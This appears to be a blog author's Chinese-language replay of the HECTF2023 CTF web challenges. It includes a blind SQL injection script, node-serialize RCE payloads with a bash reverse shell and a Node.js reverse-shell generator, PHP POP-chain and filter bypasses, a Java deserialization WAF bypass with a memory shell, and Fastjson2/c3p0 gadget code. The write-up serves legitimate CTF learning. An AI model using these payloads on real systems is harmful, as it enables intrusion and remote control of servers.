HECTF2023-web复现
HECTF2023-WEB 复现
前言
当时报了名,但是忘记打了,快结束了上号看了一下好像都挺难的,都没怎么有思路
唉,太菜了
有的题没有给源代码,就只看看wp,其他的靠当时下载的附件,
EZweb
大概就是这两个信息,然后sort传一次票数就增加
当时一点思路没有,痛苦
下面看wp
访问
跳转的投票界面
测了好久发现是sql注入,太不明显了!!!!
然后就可以使用sqlmap进行梭哈
1.txt
POST /404.php HTTP/1.1
Host: 101.133.164.228:32385
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
Origin: http://101.133.164.228:32385
Connection: close
Referer: http://101.133.164.228:32385/404.php
Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6IjExIn0.YrHwWF1RRyxqpta2G-dnwRRjoq53lCOLYVxv4l_BLMI; seed=976696390
Upgrade-Insecure-Requests: 1
sort=1
python3 sqlmap.py -r 1.txt -D ctf -T users -dump -batch
官方wp使用的盲注
过滤了and、select、sleep,大写绕过即可
import requests
import time
url = 'http://101.132.112.252:31474/404.php'
flag = ''
#qsnctf q 113
for i in range(1,1000):
high = 127
low = 32
mid = (low + high) // 2
while high > low:
payload = f"-1'/**/or/**/if(ascii(substr(database(),{i},1))>{mid},SLEEP(4),1)#" #查库名 users
payload = f"-1'/**/or/**/if(ascii(substr((seleCt(group_concat(table_name))from(infORmation_schema.tables)where(table_schema)='ctf'),{i},1))>{mid},SLEEP(4),1)#" #查表名
# payload = f"-1'/**/AND/**/if(ascii(substr((seleCt(group_concat(column_name))from(infORmation_schema.columns)where(table_name)='users'),{i},1))>{mid},SLEEP(4),1)#" #查列名
# payload = f"1'/**/and/**/if(ascii(substr((seleCt(password)from(users)),{i},1))>{mid},sleep(4),1)--+" #查数据
# payload = f"1'/**/and/**/if(ascii(substr((select(group_concat(password))from(users)),{i},1))>{mid},sleep(4),1)#" #查列名
payload=f"-1'/**/or/**/if(ascii(substr((selecT(group_concat(password))from(users)),{i},1))>{mid},SLEEP(4),1)#"
data = {
"sort":payload
}
last = int(time.time())
response = requests.post(url, data = data)
now = int(time.time())
if now - last > 3 :
low = mid + 1
else :
high = mid
mid = (low + high) // 2
if low != 3232:
flag += chr(int(low))
else:
break
print(flag)
测不出是sql是真没办法
EZjs
这题有附件
var express = require('express');
var path = require('path');
const undefsafe = require('undefsafe');
const flag="*****************"
var serialize = require('node-serialize');
var app = express();
class Brief {
constructor() {
this.owner = "whoknows";
this.num = 0;
this.ctfer = {};
}
write_ctfer(name, nickname) {
this.ctfer[(this.num++).toString()] = {
"name": name,
"nickname": nickname
};
}
edit_ctfer(id, name, nikename) {
undefsafe(this.ctfer, id + '.name', name);
undefsafe(this.ctfer, id + '.nikename', nikename);
}
remove_ctfer(id) {
delete this.ctfer[id];
}
}
var introduction = new Brief();
introduction.write_ctfer("the first name", "the first nickname");
app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'pug');
app.use(express.json());
app.use(express.urlencoded({
extended: false
}));
app.use(express.static(path.join(__dirname, 'public')));
app.get('/', function (req, res, next) {
res.render('index', {
title: 'Welcome to ctfer\'s brief introduction'
});
});
app.route('/add')
.get(function (req, res) {
res.render('mess', {
message: 'Please use post to pass parameters'
});
})
.post(function (req, res) {
let name = req.body.name;
let nickname = req.body.nickname;
if (name && nickname) {
introduction.write_ctfer(name, nickname);
res.send("添加成功");
} else {
res.send("添加失败");
}
})
app.route('/edit')
.get(function (req, res) {
res.send("开始修改");
})
.post(function (req, res) {
let id = req.body.id;
let name = req.body.name;
let nickname = req.body.nickname;
if (id && name && nickname) {
introduction.edit_ctfer(id, name, nickname);
res.send("修改成功");
} else {
res.send("修改失败");
}
})
app.route('/delete')
.get(function (req, res) {
})
.post(function (req, res) {
let id = req.body.id;
if (id) {
introduction.remove_ctfer(id);
} else {
}
})
app.route('/getflag')
.get(function (req, res) {
let array1={IIS:123,a:234,b:345}
let q = req.query.q;
if(black1(q)){
if(array1[q.toUpperCase()]==123){
res.render('mess', {
message: flag
});
}
}
})
app.route('/excite')
.get(function (req, res) {
let commands = {
"less1": "Error",
"less2": "Correct"
};
for (let index in commands) {
console.log(commands[index])
if(black2(commands[index])){
try{
serialize.unserialize(commands[index]);
}catch (e){
continue;
}
}}
res.send("ok");
res.end();
})
app.use(function (req, res, next) {
res.status(404).send('Sorry cant find that!');
});
app.use(function (err, req, res, next) {
console.error(err.stack);
res.status(500).send('Something broke!');
});
function black1(arr) {
let blacklist = ["s", "S", "i","I"];
for (let i = 0; i < arr.length; i++) {
const element = arr[i];
if (blacklist.includes(element)) {
return false;
}
}
return true;
}
function black2(arr) {
let blacklist = ["flag", "bash", "process","WEB","*","?","require","child","exec","&"];
for (let i = 0; i < arr.length; i++) {
const element = arr[i];
if (blacklist.includes(element)) {
return false;
}
}
return true;
}
const port = 80;
app.listen(port, () => console.log(`Example app listening at http://localhost:${port}`))
看了一遍代码,black1可以使用javascript的大小写特性来绕过,但不知道有什么用
"ı".toUpperCase() == 'I',"ſ".toUpperCase() == 'S'
不知道漏洞在哪时可以看依赖,通常题目就是出的依赖的CVE
{
"dependencies": {
"express": "^4.17.1",
"pug": "^2.0.4",
"undefsafe": "2.0.1",
"node-serialize": "0.0.4",
"cookie-parser": "^1.4.3",
"escape-html": "^1.0.3"
}
}
当时看的时候注意到的是node-serialize
这个库,当时认为这个肯定有CVE,看了wp,确实是这样
我自己对着库寻找漏洞,找到两篇文章
Undefsafe模块原型链污染(CVE-2019-10795) (xianbeil.github.io)
CVE-2017-5941: 利用Node.js反序列化漏洞执行远程代码-腾讯云开发者社区-腾讯云 (tencent.com)
分别是undefsafe
的原型链污染,node-serialize
的反序列化漏洞
基本上合起来就是官方wp了
undefsafe
当我们访问一个对象不存在的属性时,会报错然后退出程序,undefsafe帮我们解决了这个问题
var undefsafe = require("undefsafe");
var object = {
a: {
b: {
c: 1,
d: [1,2,3],
e: 'test'
}
}
};
console.log(object.a.c.e);
//Uncaught TypeError TypeError: Cannot read properties of undefined (reading 'e')
//错误并退出程序
console.log(undefsafe(object,"a.c.e"));//undefined
为一个不存在的属性赋值时,会在其上层赋值
var undefsafe = require("undefsafe");
var object = {
a: {
b: {
c: 1,
d: [1,2,3],
e: 'test'
}
}
};
undefsafe(object,'a.c.name','xianbei');
//undefsafe(object,'a.name','xianbei'); //直接a.name结果也是一样的
console.log(object);
//结果
{ a:
{ b:
{ c: 1,
d: [Array],
e: 'test'
},
name: 'xianbei' //name与b是同一级
}
}
那很明显利用方式就是__proto__
进行原型链污染
var undefsafe = require("undefsafe");
var object = {
a: {
b: {
c: 1,
d: [1,2,3],
e: 'test'
}
}
};
undefsafe(object,'__proto__.name','xianbei');
console.log(object.name);//xianbei
node-serialize
unserialize 内部有这么一段代码
if (obj[key].indexOf('_$$ND_FUNC$$_') === 0) {
obj[key] = eval('(' + obj[key].substring('_$$ND_FUNC$$_'.length) + ')');
}
如果用户输入 {"rce":"_$$ND_FUNC$$_process.exit()"}
就相当于执行eval('(process.exit())')
,就会退出程序
漏洞利用
var y = {
rce : function(){
require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });
},
}
var serialize = require('node-serialize');
console.log("Serialized: \n" + serialize.serialize(y));
Serialized:
{"rce":"_$$ND_FUNC$$_function(){\r\n require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });\r\n }"}
那么问题来了,怎么代码执行呢?只有触发对象的 rce 成员函数才行。
可以使用 JavaScript 的立即调用的函数表达式(IIFE)来调用该函数。如果我们在函数后使用 IIFE 括号 ()
,在对象被创建时,函数就会马上被调用
加了之后无法显示出序列化的结果,所以我们直接在前面序列化的结果中加()
poc
{"rce":"_$$ND_FUNC$$_function (){\n \t require('child_process').exec('ls /',
function(error, stdout, stderr) { console.log(stdout) });\n }()"}
继续
了解完原理后,这题的话有黑名单,可以使用参考文章中的Node.Js-Security-Course/nodejsshell.py at master · ajinabraham/Node.Js-Security-Course (github.com)脚本
生成使用String.fromCharCode来反弹shell的payload,以此绕过黑名单
{"rce":"_$$ND_FUNC$$_function (){ eval(String.fromCharCode(10,118,97,....))}()"}
然后是原型链污染的部分,因为只有
edit_ctfer(id, name, nikename) {
undefsafe(this.ctfer, id + '.name', name);
undefsafe(this.ctfer, id + '.nikename', nikename);
}
只能污染ctfer的属性,所以做题无脑污染就行,这里我们具体测试一下
所以污染哪一个都行
拼凑出来就是官方wp了
给出官方wp
通过给的附件和第三方库版本,推断利用undefsafe造成原型链污染
但是后面是一个序列化
CVE-2017-5941: 利用Node.js反序列化漏洞执行远程代码
id=__proto__.sc&name={"rce"%3a"_$$ND_FUNC$$_function(){require('child_process').exec('bash+-c+\"bash+-i+>%26+/dev/tcp/ip/4444+0>%261\"',function(error,stdout,+stderr)+{+console.log(stdout)+})%3b\n+}()"}&nickname=5
但是有黑名单过滤了一些命令执行函数
**python shell.py ip 端口,生成String.fromCharCode的字符即可绕过 **
import sys if len(sys.argv) != 3: print "Usage: %s <LHOST> <LPORT>" % (sys.argv[0]) sys.exit(0) IP_ADDR = sys.argv[1] PORT = sys.argv[2] def charencode(string): """String.CharCode""" encoded = '' for char in string: encoded = encoded + "," + str(ord(char)) return encoded[1:] print "[+] LHOST = %s" % (IP_ADDR) print "[+] LPORT = %s" % (PORT) NODEJS_REV_SHELL = ''' var net = require('net'); var spawn = require('child_process').spawn; HOST="%s"; PORT="%s"; TIMEOUT="5000"; if (typeof String.prototype.contains === 'undefined') { String.prototype.contains = function(it) { return this.indexOf(it) != -1; }; } function c(HOST,PORT) { var client = new net.Socket(); client.connect(PORT, HOST, function() { var sh = spawn('/bin/sh',[]); client.write("Connected!\\n"); client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); sh.on('exit',function(code,signal){ client.end("Disconnected!\\n"); }); }); client.on('error', function(e) { setTimeout(c(HOST,PORT), TIMEOUT); }); } c(HOST,PORT); ''' % (IP_ADDR, PORT) print "[+] Encoding" PAYLOAD = charencode(NODEJS_REV_SHELL) print "eval(String.fromCharCode(%s))" % (PAYLOAD)
访问/edit路由污染参数,最后访问/excite进行执行
{"rce":"_$$ND_FUNC$$_function (){ eval(String.fromCharCode(10,118,97,...))}()"}
补充
app.route('/getflag')
.get(function (req, res) {
let array1={IIS:123,a:234,b:345}
let q = req.query.q;
if(black1(q)){
if(array1[q.toUpperCase()]==123){
res.render('mess', {
message: flag
});
}
}
})
function black1(arr) {
let blacklist = ["s", "S", "i","I"];
for (let i = 0; i < arr.length; i++) {
const element = arr[i];
if (blacklist.includes(element)) {
return false;
}
}
return true;
}
这里的判断条件是array1[q.toUpperCase()]==123
,把array1当成数组来处理了,但是array1只是一个对象,所以这个判断永远不成立,
woc,夸张
懒洋洋
唉,没话说
端口:7777 头指请求头,说明要利用CRLF漏洞
/eeeqxxtg?url=http://127.0.0.1:7777/?a=1%20HTTP/1.1%0d%0aflag:%20ctfer%0d%0aTEST:%20123%0d%0a
Hint:请参考官网上的验证代码格式,并通过并发绕过某些东西
这个hint不知道什么意思
伪装者
前三个是基础的HTTP请求头,但我卡在了Firefox的User-Agent
开始我以为是要像chrome一样长条的user-agent,网上查了后行不通,然后也尝试输入firefox
,也不行
结果就是Firefox
。。。。。挺无语的
接下来经过测试是要session伪造一个zxk1ing
用户
给了key
伪造完后
利用ssrf访问路由获取flag
file伪协议也可以
ezphp
进入题目,f12提示post_me_your_guess,响应头里发现Guess: which rand()?,cookie中发现seed(不同靶机的seed不同)
应该是要我们爆破随机数,因为给了seed,先写一个脚本生成随机数的字典
<?php
// 设置种子
mt_srand(331061946);
// 生成随机数并保存为1.txt
$file = fopen('1.txt', 'w');
for ($i = 0; $i < 50; $i++) {
$randomNumber = mt_rand();
fwrite($file, $randomNumber . PHP_EOL);
}
fclose($file);
echo '随机数已保存到1.txt文件中。';
?>
<?php
mt_srand(1442660857);
for($i=0;$i<1000;$i++){
echo mt_rand()."\n";
}
<?php
error_reporting(0);
highlight_file(__FILE__);
class GGbond{
public $candy;
public function __call($func,$arg){
$func($arg);
}
public function __toString(){
return $this->candy->str;
}
}
class unser{
public $obj;
public $auth;
public function __construct($obj,$name){
$this->obj = $obj;
$this->obj->auth = $name;
}
public function __destruct(){
$this->obj->Welcome();
}
}
class HECTF{
public $cmd;
public function __invoke(){
if($this->cmd){
$this->cmd = preg_replace("/ls|cat|tac|more|sort|head|tail|nl|less|flag|cd|tee|bash|sh|&|^|>|<|\.| |'|`|\(|\"/i","",$this->cmd);
}
exec($this->cmd);
}
}
class heeectf{
public $obj;
public $flag = "Welcome";
public $auth = "who are you?";
public function Welcome(){
if(unserialize($this->auth)=="zxk1ing"){
$star = implode(array($this->obj,"⭐","⭐","⭐","⭐","⭐"));
echo $star;
}
else
echo 'Welcome HECTF! Have fun!';
}
public function __get($get)
{
$func = $this->flag;
return $func();
}
}
new unser(new heeectf(),"user");
$data = $_POST['data'];
if(!preg_match('/flag/i',$data))
unserialize($data);
else
echo "想干嘛???";
public function __invoke(){
if($this->cmd){
$this->cmd = preg_replace("/ls|cat|tac|more|sort|head|tail|nl|less|flag|cd|tee|bash|sh|&|^|>|<|\.| |'|`|\(|\"/i","",$this->cmd);
}
exec($this->cmd);
}
这种置空的匹配是最垃圾的,直接双写绕过
if(!preg_match('/flag/i',$data))
unserialize($data);
序列化的数据不能有flag
那就是用大写S的十六进制绕过S:4:"fla\67"
pop链不说了(最近感觉要么直接看出来,要么就转个弯就行,就不太想说了)
unser::__destruct -> GGBond::__call -> heeectf::Welcome -> GGbond::__toString -> heeectf::__get -> HECTF::__invoke
值得一提的是
public function Welcome(){
if(unserialize($this->auth)=="zxk1ing"){
$star = implode(array($this->obj,"⭐","⭐","⭐","⭐","⭐"));
echo $star;
}
else
echo 'Welcome HECTF! Have fun!';
}
obj
会被当作字符串被echo
,可以触发__toString
因此也要满足unserialize($this->auth)=="zxk1ing"
这个式子
看了下wp,发现直接构造就行了 s:7:"zxk1ing";
别人的poc
<?php
class GGbond{
public $candy;
}
class unser{
public $obj;
public $auth;
}
class HECTF{
public $cmd='cacatt${IFS}/f*|tteeee${IFS}2';
}
class heeectf{
public $obj;
public $flag;
public $auth = 's:7:"zxk1ing";';
}
$a=new unser();
$a->obj=new heeectf();
$a->obj->obj=new GGbond();
$a->obj->obj->candy=new heeectf();
$a->obj->obj->candy->flag=new HECTF();
echo preg_replace('/s:4:"flag"/','S:4:"fla\\\67"',serialize($a));
DeserializationAttack
接下来两道java才是重头戏
出题人本意是黑盒测试,后台模拟了个waf,限制长度和反序列化数据开头不能是字母数字和空格,最后还是给出了源码
package com.butler.deserializationattack.myController;
import java.io.IOException;
import org.apache.shiro.codec.Base64;
import org.apache.shiro.io.DefaultSerializer;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
@Controller
public class HECTFController {
public HECTFController() {
}
@RequestMapping
public String index(@RequestParam(name = "data",required = false) String data, Model model) throws IOException, ClassNotFoundException {
if (data != null) {
Integer length = data.length();
System.out.println(data.length());
if (startsWithDigitOrLetter(data) && length > 1000) {
model.addAttribute("result", "You are being blocked by the WAF (Web Application Firewall).");
return "index";
}
System.out.println(data.length());
byte[] decode = Base64.decode(data);
DefaultSerializer defaultSerializer = new DefaultSerializer();
defaultSerializer.deserialize(decode);
}
return "index";
}
public static boolean startsWithDigitOrLetter(String data) {
String regex = "^[A-Za-z0-9 ].*";
return data.matches(regex);
}
}
URLDNS
出题人的idea解析出来的是两个if语句,
而我的是一个
if (startsWithDigitOrLetter(data) && length > 1000) {
model.addAttribute("result", "You are being blocked by the WAF (Web Application Firewall).");
return "index";
}
如果是两个if语句的话,wp中就不可能使用URLDNS进行探测
按照一个if语句的话,URLDNS中startsWithDigitOrLetter(data)
为true
,length > 1000
为false
于是执行后面的deserialize
并且wp后面的payload令startsWithDigitOrLetter(data)
为false
,length > 1000
为true
同样能够执行后面的deserialize
综上应该是只有一个if语句
绕过WAF
这里有个细节
import org.apache.shiro.codec.Base64;
后端是用shiro的base64来做解码的
如果对某个字节的isBase64
判断结果为false,则不会将其添加到数组groomeData
中。
isBase64方法的内容如下:所以只要我们让base64Alphabet[octect]==-1
则可以不进入加密数组中,octect
是ascii码值
下面是base64Alphabet
的数据(只给出前一些)
0 = -1
1 = -1
2 = -1
3 = -1
4 = -1
5 = -1
6 = -1
7 = -1
8 = -1
9 = -1
10 = -1
11 = -1
12 = -1
13 = -1
14 = -1
15 = -1
16 = -1
17 = -1
18 = -1
19 = -1
20 = -1
21 = -1
22 = -1
23 = -1
24 = -1
25 = -1
26 = -1
27 = -1
28 = -1
29 = -1
30 = -1
31 = -1
32 = -1
33 = -1
34 = -1
35 = -1
36 = -1
37 = -1
38 = -1
39 = -1
40 = -1
41 = -1
42 = -1
43 = 62
44 = -1
45 = -1
46 = -1
47 = 63
48 = 52
49 = 53
50 = 54
51 = 55
52 = 56
53 = 57
54 = 58
55 = 59
56 = 60
57 = 61
58 = -1
59 = -1
60 = -1
61 = -1
62 = -1
63 = -1
64 = -1
65 = 0
66 = 1
67 = 2
68 = 3
69 = 4
70 = 5
71 = 6
72 = 7
73 = 8
74 = 9
75 = 10
76 = 11
77 = 12
78 = 13
79 = 14
80 = 15
81 = 16
82 = 17
83 = 18
84 = 19
85 = 20
86 = 21
87 = 22
88 = 23
89 = 24
90 = 25
91 = -1
92 = -1
93 = -1
94 = -1
95 = -1
96 = -1
查了下ascii
码表然后再对照base64Alphabet
,我们可以填充以下字符来做为脏字符,但是需要注意有些字符并不能作为脏字符,比如说[]
这种,会被HTTP包特殊识别。&
,#
,$
这种都是没问题的
打入内存马
使用CB链来打入spring内存马
POST / HTTP/1.1
Host: ip:port
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 25732
data=$$$$$$$$$$$rO0AB#############XNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1。。。
GET / HTTP/1.1
Host: ip:port
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Referer: https://www.google.com/
x-client-data: cmd
cmd: cat ./flag
FastjsonAttack
考点:
黑盒测试:
- fastjson1,fastjson2的鉴别
- parseObject 期望类
- 依赖探测
但是因为太难,还是给出了附件
抓包
直接看出是个fastjson
鉴别fastjson和fastjson2
继续探测是fastjson
,还是fastjson2
,wp中给出了鉴别方法
fastjson2
不支持前面加逗号会报错但是支持后面加逗号,fastjson1
支持前后加逗号
{,"friend":"1","name":"1","password":"2"}
鉴别是否使用了期望类
附件中的Student类可以看出friend使用了期望类
@Data
public class Student {
private String username;
private String password;
private Object friend;
}
}
那如何来判断呢
如果我们把 @type
放在外边出现报错,而放在friend内部不报错的话则证明后端使用了期望类。
//报错
{
"@type":"java.net.Inet6Address",
"username":"1",
"password":"2",
"friend":"3"
}
//不报错
{
"username":"1",
"password":"2",
"friend":{
"@type":"java.net.Inet6Address"
}
}
Fastjson2探测某个依赖是否存在
判断依赖是否存在,fastjson2在类加载不到的情况下不会报出任何的错误,然后引用其内部的属性也不会报错。但是如果类存在,并且引入内部属性出错就会报错
简单来说不存在的类,怎么加载和调用它内部的属性都不会报错
存在的调用它内部属性出错时报错
//不出错
{"friend":{
"@type":"com.mysql.cj.jdbc.ha.LoadBalancedMySQLConnection",
"proxy":"123"
},
"username":"1",
"password":"1"
}
//出错
{"friend":{
"@type":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource",
"userOverridesAsString":"123"
},
"username":"1",
"password":"1"
}
说明存在c3p0的依赖
做题
那这么一说,比赛后期给了源码,就能直接看出fastjson2和c3p0
直接打c3p0的二次反序列化就行了
老样子,jackson别忘了去除writeplace
package jackson;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
public class c3p0_hex {
public static void main(String[] args) throws Exception {
byte[] bytecode = Files.readAllBytes(Paths.get("C:\\Users\\86136\\Desktop\\cc1\\target\\classes\\exp.class"));
Templates templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytecode});
setFieldValue(templatesImpl, "_name", "test");
setFieldValue(templatesImpl, "_tfactory", null);
POJONode jsonNodes = new POJONode(templatesImpl);
BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(exp,jsonNodes);
byte[] bytes = serial(exp);
System.out.println(bytesToHexString(bytes, bytes.length));
}
private static void setFieldValue(Object obj, String field, Object arg) throws Exception{
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj, arg);
}
public static byte[] serial(Object data) throws Exception {
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
objectOutputStream.writeObject(data);
objectOutputStream.close();
return barr.toByteArray();
}
public static String bytesToHexString(byte[] bArray, int length) {
StringBuffer sb = new StringBuffer(length);
for(int i = 0; i < length; ++i) {
String sTemp = Integer.toHexString(255 & bArray[i]);
if (sTemp.length() < 2) {
sb.append(0);
}
sb.append(sTemp.toUpperCase());
}
return sb.toString();
}
}
内存马自己找找吧
{"friend":{
"@type":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource",
"userOverridesAsString":"HexAsciiSerializedMap:结果;"
},
"username":"1",
"password":"1"
}
运行的结果填入后,记得后面有个;
别忘了
wp说回显要带内容,应该跟它使用的内存马有关,换个内存马就不用那些了